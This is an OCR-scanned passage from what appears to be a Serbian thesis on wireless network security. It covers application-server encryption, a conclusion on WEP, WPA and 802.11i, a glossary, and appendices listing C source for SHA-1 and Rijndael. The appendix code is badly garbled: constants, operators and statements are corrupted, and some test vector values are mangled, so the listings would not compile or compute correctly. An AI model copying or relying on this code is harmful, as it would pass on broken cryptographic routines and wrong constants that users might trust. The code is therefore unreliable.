Klijent-server arhitektura se ¢esto koristi u vidu web aplikacija gde se moze pojaviti
veliki broj korisnika istovremeno, performanse i konkurentni pristup su dva pitanja na
koja treba obratiti paznju pri realizaciji. Razli¢ita serverska reSenja imaju razlicite
pristupe za povecanje performansi. Na Slici 10.3.6.2 je ilustrovana moguca klijent
server arhitektura koju je moguce iskoristiti u procesu zastite podataka u bazama
podataka. Prikazana arhitektura se sastoji od dva servera. Na jedanom serveru se
nalazi baza podataka, a na drugom aplikativni server. Aplikativni server implementira
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php modul sa modulom za kriptovanje i dekriptovanje. Izmedu ova dva servera
postoji direktna komunikacija. Podaci koji se razmenjuju su u obliku Sifrata.

WEB

|
vV |V

PHP | Security modul

Aplikativni server

Slika 10.3.6.2. Kriptovanje na aplikativnom serveru [22]

Prednosti ovog koncepta zaStite su: podaci u komunikaciji su zasti¢eni, Klju¢ se ne
nalazi sa kriptovanim podacima, izvorni kod je dostupan, a mane su: realizacija AES
algoritma u interpreterskom jeziku (Sto se odrazava na performanse sistema), promena
kljuc¢a (proces koji zahteva dekriptovanje i ponovno kriptovanje kompletne baze
podataka).

Kod lokalne zastite interveniSe se na samoj bazi podataka ukljucivanjem
modula za kriptovanje i dekriptovanje. Podaci u bazi su zapisani u kriptovanom
obliku i obezbedeni su od eventualne krade hard diska ili neovla§¢enog pristupa u
bazi. Kod reSenja na aplikativnoj strani u okviru izabranog programskog jezika
postize se fleksibilnost sa mogucnoscu selektivnog kriptovanja i dekriptovanja. Mana
je Sto neki savremeni jezici (kao Sto je php) nisu optimizovani za efikasno izvrSavanje
kompleksnih operacija nad binarnim podacima $to moze da utie na ukupne
performanse sistema.

Performanse dana$njih PC racunara nisu dovoljne za potpuno iskorisé¢enje
mogucénosti kriptografskih mehanizama za Kkriptovanje na opisanim nivoima. Postoji
potreba za dodatnim hardverom za kriptovanje umesto softverskog reSenja. Time bi se
omogucilo zadrzavanje performansi rada sa konkretnom bazom podataka, uz
kvalitetno kriptovanje na dodatnom hardverskom modulu. Eventualni pad
performansi bi se odnosio samo na komunikaciju sa dodatnim hardverom.
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Zakljudak

U ovom radu su najpre dati osnovni pojmovi teorije informacija, bezbedne
informacije i informacionog sistema. Navedeni su standardi za bezi¢ne racunarske
mreze a detaljnije su prikazani standardi IEEE 802.11 kao i IEEE 802.16. Kroz
analizu mreznog saobracaja su prikazani nacini identifikacije bezi¢nih racunarskih
mreza. Za analizu i poboljSanje bezbednosti, ali Cesto i za napade na mrezu, se koriste
neki od softverskih alata koji su prikazani. Da bi Sto bolje upoznali slabosti
mehanizama zaStite, detaljnije su prikazani poznati nacini za njihovo probijanje.
Napad putem ometanja servisa (DoS) je takode analiziran. Na kraju je dat
sistematican pregled mera za pobolj$anje bezbednosti podataka.

Bezi¢ne racunarske mreze su bezbednosni rizik za svakoga ko ih koristi.
Uzroke treba traziti u nepotpunoj primeni postoje¢ih mehanizama zastite kao i u josS
uvek vaze¢im standardima 802.11a, 802.11b i 802.11g koji kao osnovu bezbednosti
koriste WEP. On nije zadovoljio nijedan od tri cilja s kojim je stvoren: pouzdana
autentifikacija korisnika, zaStita privatnosti podataka i autorizacija korisnika.
Impresivan broj razli¢itth moguéih napada, od kojih su neki i prakti¢cno uspesno
izvedeni, samo potvrduje ¢injenicu o nebezbednosti sadasnjeg standarda. Zbog toga se
veéina organizacija koje intenzivno koriste bezi¢ne mreZze u svom poslovanju odluéila
na skupo uvodenje IPsec tehnologije koja, iako ne bez mana, ipak znacajno povecava
bezbednost bezicne mreze. IEEE uvidevsi sve propuste u vaze¢im standardima je
pocela ubrzano da radi na novim predlozima za poboljSanje bezbednosti bezi¢nih
mreza. Prvi rezultat toga je i donoSenje 802.1X standarda koji znatno poboljSava
nacin autentifikacije korisnika i time povecava ukupnu bezbednost. Taj standard kao
svoju osnovu koristi EAP koji omogucava veliki broj razli¢itih metoda autentifikacije
korisnika mreze. Slede¢i korak u evoluciji bezbednosti je WPA standard koji je
usvojen od strane udruzenja proizvodac¢a mrezne opreme za bezi¢ne racunarske mreze
(Wi-Fi Alliance). WPA je otklonio sve bezbednosne propuste u WEP-u, a pri tome uz
manje promene drajvera radi na postojecoj opremi. lako veliko poboljSanje WPA se
smatra samo medukorakom izmedu 802.11x standarda i najnovijeg 802.111 standarda
koji se namece kao konacno reSenje problema bezbednosti bezi¢nih racunarskih
mreza. Sam 802.11i standard je deo ve¢eg RSN (Robust Security Network) standarda.
802.11i koristi kao algoritam za kriptovanje AES (Advanced Encription System), a
kao mehanizam autentifikacije se, iako 802.11i standard ne propisuje, koristi 802.1X
standard. Za uvodenje 802.11i standarda u mreze je potrebno zameniti sadas$nju
bezi¢nu mreznu opremu (pristupne tacke i mrezne kartice) sa novom.

Na osnovu iznetog pregleda standarda i tehnologije vidi se da primena samo
komercijalnih tehnologija zastite informacija ne moze predstavljati pouzdano reSenje
odbrane od potencijalninh napada. Potrebno je koncipirati i primeniti slojevitu i
sveobuhvatnu politiku zaStite. Ona ¢e pored komercijalnih tehnologija zastite
obavezno ukljuéiti i primenu sopstveno realizovanih mehanizama, kao i mehanizama
kontrole pristupa i organizacionih elemenata zastite date bezi¢ne racunarske mreze.
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Re¢nik pojmova

Access node - Mesto na koje se mogu spajati Klijenti, ¢ini ga minimalno jedna
pristupna tacka (access point).

Access Point - Uredaj koji omogucava klijentima spajanje na access node, i njegov je
osnovni deo. Vecina access point-a U unutrasnjosti je u stvari PCMCIA Kkartica sa
dodatnom elektronikom, zavisno od modela.

Bridge - Uredaj koji povezuje dva ili vise Access point-a odnosno node-a, ujedno i
"preciscava" - poboljSava signal.

Client node — Racunar sa bezicnom mreznom karticom koji se spaja na access point.
Kantena - Sinonim za ruc¢no izradenu klijent antenu.
LOS (Line of Sight) - Opti¢ka vidljivost izmedu dve tacke bez obzira na udaljenost.

Omni antena, - Antena koja pokriva 360 stepeni. Vertikalno Sirenje snopa oko 8
stepeni, zavisi od proizvodaca.

Parabolic antena - Usmerena antena karakteristicnog reSetkastog izgleda, koja
projektuje uski snop prema nekoj tacki. Malo slabije karakteristike od Yagi-udo
antena, no ponekad i bolje usmerenosti, do 12 stepeni.

Pigtail (jumper cable) - Komad antenskog kabla s konektorima. Na jednoj strani za
antenu, a na drugoj za wi-fi karticu. Duzine od 0,5m do 5m uz velike gubitke, osim
ako nije od HDF400 kabla (npr. SMC-ov 5 metarni).

PKCS (Public Key Criptography Standards) — Skup javnih standarda ¢iji su autori
RSA ivodeca imena iz oblasti zastite u industriji.

PKI (Public Key Infrastructure) — Sistem kriptovanja sa dva klju¢a u kome se
poruka Sifruje privatnim a desifruje javnim kljucem.

Residential Gateway - Npr. Orinoco RG-1000 koji se softverski moze prepraviti u
veoma funkcionalan access point.

Repeater - Samostalni uredaj koji prima signal sa access point-a i “ponavlja” odnosno
pojacava ga. Uredaj se identifikuje kao sam access point. LoSa strana je smanjenje
brzine prenosa podataka na polovinu.

Sector antena - "Inteligentna™ antena, obicno pokriva 90 stepeni.

Wi-Fi - Sinonim za IEEE 802.11b. Isto kao sto je Ethernet za IEEE 802.3.

WLAN - Bezi¢na Ethernet mreza.

MAN - Metropoliten Area Network, mreza Sirokih razmera.
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Prilog 1: izvorni kod programa SHA-1

/*
SHA-1

Test Vektori (iz FIPS PUB 180-1)
"abc"
A9993E36 4706816A BA3E2571 7850C26C 9CDO0OD89D
"abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq"
84983E44 1C3BD26E BAAE4AAL FO95129E5 E54670F1
million ponavljanja "a"
34AA973C DACADAA4 F61EEB2B DBAD2731 6534016F
*

#define LITTLE_ENDIAN
#define SHAITHANDSOFF

#include <stdio.h>
#include <string.h>

typedef struct {
unsigned long state[5];
unsigned long count[2];
unsigned char buffer[64];
} SHAL CTX;

void SHA1Transform(unsigned long state[5], unsigned char buffer[64]);
void SHALInit(SHA1_CTX* context);

void SHAlUpdate(SHA1_CTX* context, unsigned char* data, unsigned int
len);

void SHA1Final(unsigned char digest[20], SHA1_CTX* context);

#define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits))))

#ifdef LITTLE_ENDIAN

#define blk0(i) (block->I[i] = (rol(block->I[i],24)&0xFFO0FF00) \
|(rol(block->I[i],8)&0x00FFO0FF))

#else

#define blk0(i) block->I[i]

#endif

#define blk(i) (block->I[i&15] = rol(block->I[(i+13)&15]"block->I[(i+8)&15] \
~block->I[(i+2)&15]"block->1[i&15],1))

/* (RO+R1), R2, R3, R4 su razlicite operacije koje se koriste u SHA1 */
#define RO(v,w,X,y,z,i)
Z+=((W&(X"y))y)+blkO(i)+0x5A827999+rol(v,5);w=rol(w,30);

#define R1(v,w,X,y,z,i)
Z+=((W&(X"y))y)+blk(i)+0x5A827999+rol(v,5);w=rol(w,30);

#define R2(v,w,x,y,z,i) z+=(W"x"y)+blk(i)+Ox6ED9EBA1+rol(v,5);w=rol(w,30);
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#define R3(v,w,X,y,z,i)
z+=(((w|x)&y)|(wé&x))+blk(i)+0x8F1BBCDC+rol(v,5);w=rol(w,30);
#define R4(v,w,X,y,z,i) z+=(W"x"y)+blk(i)+OxCA62C1D6+rol(v,5);w=rol(w,30);

[* Izracunavanje hash za jedan blok 512-bita. Jezgro algoritma. */

void SHA1Transform(unsigned long state[5], unsigned char buffer[64])
{
unsigned long a, b, c, d, e;
typedef union {
unsigned char c[64];
unsigned long I[16];
} CHARG64LONG16;
CHARG64LONG16* block;
#ifdef SHAITHANDSOFF
static unsigned char workspace[64];
block = (CHARG64LONG16*)workspace;
memcpy(block, buffer, 64);
#else
block = (CHAR64LONG16*)buffer;
#endif
[* Kopiranje context->state[] u radne varijable */
a = state[0];
b = state[1];
c = state[2];
d = state[3];
e = state[4];

RO(a,b,c,d,e, 0); RO(e,a,b,c,d, 1); RO(d,e,a,b,c, 2); RO(c,d,e,a,b, 3);
RO(b,c,d,e,a, 4); RO(a,b,c,d,e, 5); RO(e,a,b,c,d, 6); RO(d,e,a,b,c, 7);
RO(c,d,e,a,b, 8); RO(b,c,d,e,a, 9); RO(a,b,c,d,e,10); RO(e,a,b,c,d,11);
RO(d,e,a,b,c,12); RO(c,d,e,a,b,13); RO(b,c,d,e,a,14); RO(a,b,c,d,e,15);
Ri(e,a,b,c,d,16); R1(d,e,a,b,c,17); R1(c,d,e,a,b,18); R1(b,c,d,e,a,19);
R2(a,b,c,d,e,20); R2(e,a,b,c,d,21); R2(d,e,a,b,c,22); R2(c,d,e,a,b,23);
R2(b,c,d,e,a,24); R2(a,b,c,d,e,25); R2(e,a,b,c,d,26); R2(d,e,a,b,c,27);
R2(c,d,e,a,b,28); R2(b,c,d,e,a,29); R2(a,b,c,d,e,30); R2(e,a,b,c,d,31);
R2(d,e,a,b,c,32); R2(c,d,e,a,b,33); R2(b,c,d,e,a,34); R2(a,b,c,d,e,35);
R2(e,a,b,c,d,36); R2(d,e,a,b,c,37); R2(c,d,e,a,b,38); R2(b,c,d,e,a,39);
R3(a,b,c,d,e,40); R3(e,a,b,c,d,41); R3(d,e,a,b,c,42); R3(c,d,e,a,b,43);
R3(b,c,d,e,a,44); R3(a,b,c,d,e,45); R3(e,a,b,c,d,46); R3(d,e,a,b,c,47);
R3(c,d,e,a,b,48); R3(b,c,d,e,a,49); R3(a,b,c,d,e,50); R3(e,a,b,c,d,51);
R3(d,e,a,b,c,52); R3(c,d,e,a,b,53); R3(b,c,d,e,a,54); R3(a,b,c,d,e,55);
R3(e,a,b,c,d,56); R3(d,e,a,b,c,57); R3(c,d,e,a,b,58); R3(b,c,d,e,a,59);
R4(a,b,c,d,e,60); R4(e,a,b,c,d,61); R4(d,e,a,b,c,62); R4(c,d,e,a,b,63);
R4(b,c,d,e,a,64); R4(a,b,c,d,e,65); R4(e,a,b,c,d,66); R4(d,e,a,b,c,67);
R4(c,d,e,a,b,68); R4(b,c,d,e,a,69); R4(a,b,c,d,e,70); R4(e,a,b,c,d,71);
R4(d,e,a,b,c,72); R4(c,d,e,a,b,73); R4(b,c,d,e,a,74); R4(a,b,c,d,e,75);
R4(e,a,b,c,d,76); R4(d,e,a,b,c,77); R4(c,d,e,a,b,78); R4(b,c,d,e,a,79);

[* Dodavanije radnih varijabli nazad u context.state[] */
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state[0] += &;

state[1] += b;

state[2] +=c;

state[3] +=d;

state[4] +=e;

[* Brisanje sadrzaja varijabli */
a=b=c=d=e=0;

}
/* SHA1Init — Inicijalizacija novog sadrzaja */

void SHALInit(SHA1_CTX* context)

{
/* SHA1 inicijalizacione konstante */
context->state[0] = 0x67452301,
context->state[1] = OXEFCDABS89;
context->state[2] = 0X98BADCFE;
context->state[3] = 0x10325476;
context->state[4] = OXC3D2E1FO;
context->count[0] = context->count[1] = 0;

}

void SHAlUpdate(SHA1_CTX* context, unsigned char* data, unsigned int
len)

{

unsigned int i, j;

j = (context->count[0] >> 3) & 63;
if ((context->count[0] += len << 3) < (len << 3)) context->count[1]++;
context->count[1] += (len >> 29);
if ((j + len) >63) {
memcpy(&context->buffer[j], data, (i = 64-)));
SHA1Transform(context->state, context->buffer);
for (;i+63<len;i+=064){
SHA1Transform(context->state, &datali]);

}
=0
}
elsei=0;
memcpy(&context->buffer[j], &datali], len - i);

}

/* Dodaje padding i vraca message digest. */

void SHA1Final(unsigned char digest[20], SHA1_CTX* context)
fmsigned long i, j;

unsigned char finalcount[8];

for (i=0;i<8;i++) {
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finalcount[i] = (unsigned char)((context->count[(i >=4 ? 0 : 1)]
>> ((3-(1 & 3)) * 8) ) & 255);

SHA1Update(context, (unsigned char *)"\200", 1);
while ((context->count[0] & 504) !=448) {
SHA1Update(context, (unsigned char *)"\0", 1);
}
SHA1Update(context, finalcount, 8);
for (i=0;1<20; i++) {
digest[i] = (unsigned char)
((context->state[i>>2] >> ((3-(i & 3)) * 8) ) & 255);
}

i :j =0;
memset(context->buffer, 0, 64);
memset(context->state, 0, 20);
memset(context->count, 0, 8);
memset(finalcount, 0, 8);
#ifdef SHA1IHANDSOFF
SHA1Transform(context->state, context->buffer);
#endif

}

/************************************************************* /
int main(int argc, char** argv)
L
inti, j;
SHA1 CTX context;
unsigned char digest[20], buffer[16384];
FILE* file;
if (argc > 2) {
puts("SHA-1 implementacija ");
puts("SHA-1 hash fajla, ili stdin ako nije odredjen fajl.");
exit(0);
}
if (argc < 2) {
file = stdin;
}
else {
if (!(file = fopen(argv([1], "rb"))) {
fputs("Ne mogu da otvorim fajl.", stderr);
exit(-1);
}

}
SHAlInit(&context);

while (!feof(file)) {
i = fread(buffer, 1, 16384, file);
SHA1Update(&context, buffer, i);

SHA1Final(digest, &context);
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fclose(file);
for (i=0; i <5;i++) {
for j=0;j<4;j++) {
printf("%02X", digest[i*4+]);

putchar('");
}

putchar(\n');
exit(0);
}
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Prilog 2. izvorni kod programa RIJNDAEL

Standardne definicije:

/* 1. Standardni tipovi za AES cryptography izvorni kod */
typedef unsigned char ulbyte; /* 8 bit unsigned character type */
typedef unsigned short u2byte; /* 16 bit unsigned integer type */
typedef unsigned long udbyte; /* 32 bit unsigned integer type */

typedef signed char  slbyte; /* 8 bit signed character type */
typedef signed short s2byte; /* 16 bit signed integer type  */
typedef signed long  s4byte; /* 32 bit signed integer type  */

[* 2. Standardni interfejs za AES kriptografske rutine */
#ifdef __ cplusplus
extern "C"
{
#endif
char **cipher_name(void);
udbyte *set_key(const udbyte in_key[], const udbyte key_len);
void encrypt(const udbyte in_blk[4], udbyte out_blk[4]);
void decrypt(const udbyte in_blk[4], udbyte out_blk[4]);

#ifdef __ cplusplus
%
#endif

/* 3. Osnovni makroi za ubrzavanje generickih operacija  */

/* Cirkularno rotiranje 32 bit vrednosti */
#ifdef _MSC_VER

# include <stdlib.h>

# pragma intrinsic(_lrotr,_lIrotl)

# define rotr(x,n) _lrotr(x,n)

# define rotl(x,n) _lIrotl(x,n)

#else

#define rotr(x,n)  (((x) >> ((in)(n))) | ((x) << (32 - (int)(n))))
#define rotl(x,n)  (((x) << ((int)(n))) | ((x) >> (32 - (int)(n))))
#endif

/* Invertovanje redosleda byte u 32 bit varijabli */
#define bswap(x) (rotl(x, 8) & Ox0OffOOff | rotr(x, 8) & OxffOOffO0)

[* Izdvajanje bajta iz 32 bit vrednosti (little endian notacija) */
#define byte(x,n) ((ulbyte)((x) >> (8 * n)))

[* Za invertovani redosled bajtova u input/output 32 bit reci, ako je potrebno */

#ifdef BLOCK_SWAP
#define BYTE_SWAP
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#define WORD_SWAP
#endif

#ifdef BYTE_SWAP
#define io_swap(x) bswap(x)
#else

#define io_swap(x) (x)
#endif

[* Za invertovanje redosleda bajtova u input/output blokovima, po potrebi */

#ifdef WORD_SWAP

#define get_block(x) \

((udbyte*)(x))[0] = io_swap(in_blk[3]); \
((udbyte*)(x))[1] = io_swap(in_blk[2]); \
((udbyte*)(x))[2] = io_swap(in_blk[1]); \
((u4byte*)(x))[3] = io_swap(in_blIk[0])

#define put_block(x) \
out_blk[3] = io_swap(((u4byte*)(x))[0]); \
out_blk[2] = io_swap(((u4byte*)(x))[1]); \
out_blk[1] = io_swap(((u4byte*)(x))[2]); \
out_blk[0] = io_swap(((u4byte*)(x))[3])

#define get_key(x,len) \
((u4byte*)(x))[4] = ((u4byte*)(x))[5] = \
((u4byte*)(x))[6] = ((u4byte*)(x))[7] = O; \
switch((((len) + 63) / 64)) { \
case 2: \
((u4byte*)(x))[0] = io_swap(in_key[3]);
((udbyte*)(x))[1] = io_swap(in_key[2]);
((udbyte*)(x))[2] = i0_swap(in_key[1]);
((u4byte*)(x))[3] = io_swap(in_key[0]);
break; \
case 3: \
((u4byte*)(x))[0] = io_swap(in_key[5]);
((udbyte*)(x))[1] = io_swap(in_key[4]);
((udbyte*)(x))[2] = i0_swap(in_key[3]);
((u4byte*)(x))[3] = io_swap(in_key[2]);

—— —

((u4byte*)(x))[4] = io_swap(in_key[1]);
((u4byte*)(x))[5] = io_swap(in_key[0]);
break; \

case 4: \

((u4byte*)(x))[0] = io_swap(in_key[7]);
((udbyte*)(x))[1] = io_swap(in_key[6]);
((u4byte*)(x))[2] = i0_swap(in_key[5]);
((udbyte*)(x))[3] = io_swap(in_key[4]);
((u4byte*)(x))[4] = io_swap(in_key[3]);

—_

((u4byte*)(x))[5] = io_swap(in_key[2]);
((u4byte*)(x))[6] = i0_swap(in_key[1]);
((udbyte*)(x))[7] = i0_swap(in_key[0]);
}

—_
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telse

#define get_block(x) \
((u4byte*)(x))[0] = io_swap(in_blk[0]); \
((u4byte*)(x))[1] = io_swap(in_blk[1]); \
((udbyte*)(x))[2] = io_swap(in_blk[2]); \
((u4byte*)(x))[3] = io_swap(in_blk[3])

#define put_block(x) \
out_blk[0] = io_swap(((udbyte*)(x))[0]); \
out_blk[1] = io_swap(((udbyte*)(x))[1]); \
out_blk[2] = io_swap(((udbyte*)(x))[2]); \
out_blk[3] = io_swap(((udbyte*)(x))[3])

#define get_key(x,len) \
((udbyte)(x))[4] = ((u4byte)(x))[5] = \
((u4byte*)(x))[6] = ((u4byte*)(x))[7] = 0; \
switch((((len) + 63) / 64)) { \
case 4: \
((u4byte*)(x))[6] = io_swap(in_key[6]); \
((u4byte*)(x))[7] = io_swap(in_key[7]); \
case 3: \
((u4byte*)(x))[4] = io_swap(in_key[4]); \
((u4byte*)(x))[5] = io_swap(in_key[5]); \
case 2: \

((u4byte*)(x))[0] = io_swap(in_key[0]); \
((u4byte*)(x))[1] = io_swap(in_key[1]); \
((udbyte*)(x))[2] = io_swap(in_key[2]); \
((u4byte*)(x))[3] = io_swap(in_key[3]); \
}

#endif

Listing programa rijndael.c

/* Podaci o vremenima potrebnim za izvrsenje (rijndael.c)
Algoritma: rijndael (rijndael.c)

128 bit key:

Key Setup: 305/1389 cycles (encrypt/decrypt)
Encrypt: 374 cycles = 68.4 mbits/sec
Decrypt: 352 cycles 72.7 mbits/sec
Mean: 363 cycles 70.5 mbits/sec

192 bit key:

Key Setup: 277/1595 cycles (encrypt/decrypt)
Encrypt: 439 cycles = 58.3 mbits/sec
Decrypt: 425 cycles = 60.2 mbits/sec
Mean: 432 cycles = 59.3 mbits/sec
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256 bit key:

Key Setup: 374/1960 cycles (encrypt/decrypt)
Encrypt: 502 cycles = 51.0 mbits/sec
Decrypt: 498 cycles = 51.4 mbits/sec
Mean: 500 cycles = 51.2 mbits/sec

*/

#include "../std_defs.h"
static char *alg_name[] = { "rijndael", "rijndael.c", "rijndael" };
char **cipher_name()

{

return alg_name;
}
#define LARGE_TABLES
ulbyte pow_tab[256];
ulbyte log_tab[256];
ulbyte sbx_ tab[256];
ulbyte isb_tab[256];
udbyte rco_tab[ 10];
udbyte ft_tab[4][256];
udbyte it_tab[4][256];
#ifdef LARGE_TABLES
udbyte fl_tab[4][256];
udbyte il_tab[4][256];
#endif
udbyte tab_gen = 0;
udbyte k_len;
udbyte e_key[60];
udbyte d_key[60];
#define ff_mult(a,b) (a && b ? pow_tab[(log_tab[a] + log_tab[b]) % 255] : 0)
#define f_rn(bo, bi, n, k) \
bo[n] = ft_tab[0][byte(bi[n],0)] ~ \
ft_tab[1][byte(bi[(n + 1) & 3],1)] \
ft_tab[2][byte(bi[(n + 2) & 3],2)] * \
ft_tab[3][byte(bi[(n + 3) & 3],3)] * *(k + n)

#define i_rn(bo, bi, n, k) \
bo[n] = it_tab[0][byte(bi[n],0)] * \
it_tab[1][byte(bi[(n + 3) & 3],1)] " \
it_tab[2][byte(bi[(n + 2) & 3],2)] » \
it_tab[3][byte(bi[(n + 1) & 3],3)] * *(k + n)

#ifdef LARGE_TABLES

#define Is_box(x) \
(fl_tab[O][byte(x, O)] ~ \
fl_tab[1][byte(x, 1)] * \
fl_tab[2][byte(x, 2)] * \
fl_tab[3][byte(x, 3)] )
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#define f_rl(bo, bi, n, k) \
bo[n] = fl_tab[0][byte(bi[n],0)] * \
fl_tab[1][byte(bi[(n + 1) & 3],1)] " \
fl_tab[2][byte(bi[(n + 2) & 3],2)] " \
fl_tab[3][byte(bi[(n + 3) & 3],3)] * *(k + n)

#define i_rl(bo, bi, n, k) \
bo[n] = il_tab[0][byte(bi[n],0)] * \
il_tab[1][byte(bi[(n + 3) & 3],1)] * \
il_tab[2][byte(bi[(n + 2) & 3],2)] * \
il_tab[3][byte(bi[(n + 1) & 3],3)] * *(k + n)
#else

#define Is_box(x) \
((u4byte)sbx_tab[byte(x, 0)] << 0) * \
((u4byte)sbx_tab[byte(x, 1)] << 8)* \
((u4byte)sbx_tab[byte(x, 2)] << 16) * \
((u4byte)sbx_tab[byte(x, 3)] << 24)

#define f_rl(bo, bi, n, k) \
bo[n] = (u4byte)sbx_tab[byte(bi[n],0)] ~ \
rotl(((u4byte)sbx_tab[byte(bi[(n + 1) & 3],1)]), 8) * \
rotl(((u4byte)sbx_tab[byte(bi[(n + 2) & 3],2)]), 16) * \
rotl(((u4byte)sbx_tab[byte(bi[(n + 3) & 3],3)]), 24) * *(k + n)

#define i_rl(bo, bi, n, k) \
bo[n] = (udbyte)isb_tab[byte(bi[n],0)] * \
rotl(((u4byte)isb_tab[byte(bi[(n + 3) & 3],1)]), 8) " \
rotl(((u4byte)isb_tab[byte(bi[(n + 2) & 3],2)]), 16) ~ \
rotl(((udbyte)isb_tab[byte(bi[(n + 1) & 3],3)]), 24) " *(k + n)
#endif
void gen_tabs(void)
{ udbyte i, t;
ulbyte p,q;

for(i=0,p =1; i< 256; ++i)
{
pow_tab[i] = (ulbyte)p; log_tab[p] = (ulbyte)i;
p=p”"(p<<1)”(p & 0x80 ? 0x01b : 0);
}
log_tab[1] = 0; p = 1;
for(i=0; 1< 10; ++i)
{
rco_tabli] = p;
p=(p<<1)”(p &0Ox80 ? 0xlb : 0);
}

for(i = 0; i < 256; ++i)

{
p = (i ? pow_tab[255 - log_tab[i]] : 0); q = p;
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(@>>7)[(g<<1);p”"=q;
@>7)[(g<<1l);p”"=q;
(@>>7)[(g<<1);p”"=q;
(@>>7)[(g<<1);p”"=q"0x63;
bx_tab[i] = (ulbyte)p; isb_tab[p] = (ulbyte)i;

q
q
q
q
S

}
for(i = 0; i < 256; ++i)
p = sbx_tabli];

#ifdef LARGE_TABLES
t = p; fl_tab[O][i] = t;
fl_tab[1][i] = rotl(t, 8);
fl_tab[2][i] = rotl(t, 16);
fl_tab[3][i] = rotl(t, 24);
#endif
t = ((udbyte)ff_mult(2, p)) |
((udbyte)p << 8) |
((udbyte)p << 16) |
((udbyte)ff_mult(3, p) << 24);
ft_tab[O][i] =t
ft_tab[1][i] = rotl(t, 8);
ft_tab[2][i] = roti(t, 16);
ft_tab[3][i] = rotl(t, 24);
p = isb_tabli];

#ifdef LARGE_TABLES
t=p; il_tab[O][i] = t;
il_tab[1][i] = rotl(t, 8);
il_tab[2][i] = rotl(t, 16);
il_tab[3][i] = rotl(t, 24);
#endif
t = ((udbyte)ff_mult(14, p)) |
((udbyte)ff_mult( 9, p) << 8) |
((udbyte)ff_mult(13, p) << 16) |
((udbyte)ff_mult(11, p) << 24);
it_tab[O][i] = t;
it_tab[1][i] = rotl(t, 8);
it_tab[2][i] = rotl(t, 16);
it_tab[3][i] = rotl(t, 24);
}
tab_gen =1,
|3
#define star_x(x) (((x) & Ox7f7{7{7f) << 1) ™ ((((x) & 0x80808080) >> 7) * Ox1b)
#define imix_col(y,x) \
u =star_x(x); \
v = star_x(u); \
w = star_x(v); \
t =w”(x); \
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(y) =urvrw; \
(y) ~=rotr(u ~t, 8) "\
rotr(v ~ t, 16) "\

rotr(t,24)
#define loop4(i) \
{ t=Is_box(rotr(t, 8)) " rco_tabli]; \

t"=e key[4*i]; e_key[d*i+4]=t; \

t"=e key[4*i+1];e_key[d*i+5]=t \
t"=e key[4d*i+2];e_key[d*i+6]=t; \
t"=e key[4*i+3];e_key[d*i+7]=t \

}
#define loop6(i) \
{ t=Is_box(rotr(t, 8)) " rco_tabli]; \

t"=e key[6*i]; e_key[6*i+6]=t; \

t"=e key[6*i+1];e_key[6*i+7]=t \
t"=e key[6*i+2];e_keyl6*i+8]=t \
t"=e key[6*i+3];e_keyl6*i+9]=t \
t"=e key[6*i+4];e_key[6*i+10]=t; \
t"=e key[6*i+5];e_key[6*i+11]=t; \

}

#define loop8(i) \

{ t=Is_box(rotr(t, 8)) " rco_tabli]; \
t"=e_key[8*i];, e key[8*i+8]=t; \
t"=e key[8*i+1];e_key[8*i+9]=t \
t"=e _key[8*i+2];e_key[8*i+10]=t; \
t"=e key[8*i+3];e_key[8*i+1l]=t; \
t =e_key[8 *i+ 4] "Is_box(t); \
e_key[8 *i+ 12] =t; \
t"=e key[8*i+5];e_key[8*i+13]=t; \
t"=e key[8*i+6];e_key[8*i+14]=t; \
t"=e key[8*i+7];e_key[8*i+15]=t; \

}

udbyte *set_key(const ud4byte in_key[], const u4byte key_len)

{ udbyte i, t,u,v,w;
if('tab_gen)

gen_tabs();
k_len = (key_len + 31) / 32;
e_key[0] = in_key[0]; e_key[1] = in_key[1];
e_key[2] = in_key[2]; e_key[3] = in_key[3];
switch(k_len)
{
case 4:t =e_key[3];
for(i=0; i < 10; ++i)
loop4(i);
break;
case 6: e_key[4] = in_key[4]; t = e_key[5] = in_key[5];
for(i=0; 1< 8; ++i)
loop6(i);
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break;
case 8: e_key[4] = in_key[4]; e_key[5] = in_key[5];
e_key[6] = in_key[6]; t = e_key[7] = in_key[7];
for(i=0;1<7; ++i)
loop8(i);
break;
}
d_key[0] = e_key[0]; d_key[1] = e_key[1];
d_key[2] = e_key[2]; d_key[3] = e_key][3];
for(i=4;i<4*k len + 24; ++i)

imix_col(d_key[i], e_key]i]);
}

return e_key;

|3

[* kriptovanje jednog bloka teksta */
#define f_nround(bo, bi, k) \
f_rn(bo, bi, 0, k); '\
f_rn(bo, bi, 1, k); '\
f_rn(bo, bi, 2, k); '\
f_rn(bo, bi, 3, k); \
k+=4
#define f_Iround(bo, bi, k) \
f rl(bo, bi, 0, k); \
f rl(bo, bi, 1, k); \
f rl(bo, bi, 2, k); \
f_rl(bo, bi, 3, k)
void encrypt(const udbyte in_blk[4], udbyte out_blk[4])
{ udbyte bO[4], b1[4], *kp;
bO[0] = in_blk[0] ~ e_key[0]; bO[1] = in_blk[1] * e_key[1];
bO[2] = in_blk[2] ~ e_key[2]; bO[3] = in_blk[3] * e_key][3];
kp = e_key + 4;
if(k_len > 6)

f _nround(bl, b0, kp); f_nround(bO, b1, kp);
}
if(k_len > 4)
{

f _nround(bl, b0, kp); f_nround(bO, b1, kp);
}
f _nround(bl, b0, kp); f_nround(b0, b1, kp);
f _nround(bl, b0, kp); f_nround(bO, b1, kp);
f _nround(bl, b0, kp); f_nround(b0, b1, kp);
f _nround(bl, b0, kp); f_nround(bO, b1, kp);
f_nround(bl, b0, kp); f_Iround(b0, b1, kp);
out_blk[O] = bO[0]; out_blk[1] = bO[1];
out_blk[2] = bO[2]; out_bIk[3] = bO[3];
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[* dekriptovanje jednog bloka teksta */
#define i_nround(bo, bi, k) \

i_rn(bo, bi, 0, k); \

i_rn(bo, bi, 1, k); \

i_rn(bo, bi, 2, k); \

i_rn(bo, bi, 3, k); \

k-=4

#define i_lround(bo, bi, k) \
i_rl(bo, bi, 0, k); '\
i_rl(bo, bi, 1, k); '\
i_rl(bo, bi, 2, k); '\
i_rl(bo, bi, 3, k)
void decrypt(const udbyte in_blk[4], udbyte out_blk[4])
{ udbyte bO[4], b1[4], *kp;
bO[0] = in_bIk[0] ~ e_key[4 * k_len + 24]; bO[1] = in_blk[1] ~ e_key[4 * k_len

' 2b5(}i2] =in_blk[2] * e_key[4 * k_len + 26]; bO[3] = in_blIk[3] * e_key[4 * k_len
! 2k7|o]’: d_key + 4 * (k_len + 5);
if(k_len > 6)
i_nround(bl, b0, kp); i_nround(b0, b1, kp);
}
if(k_len > 4)
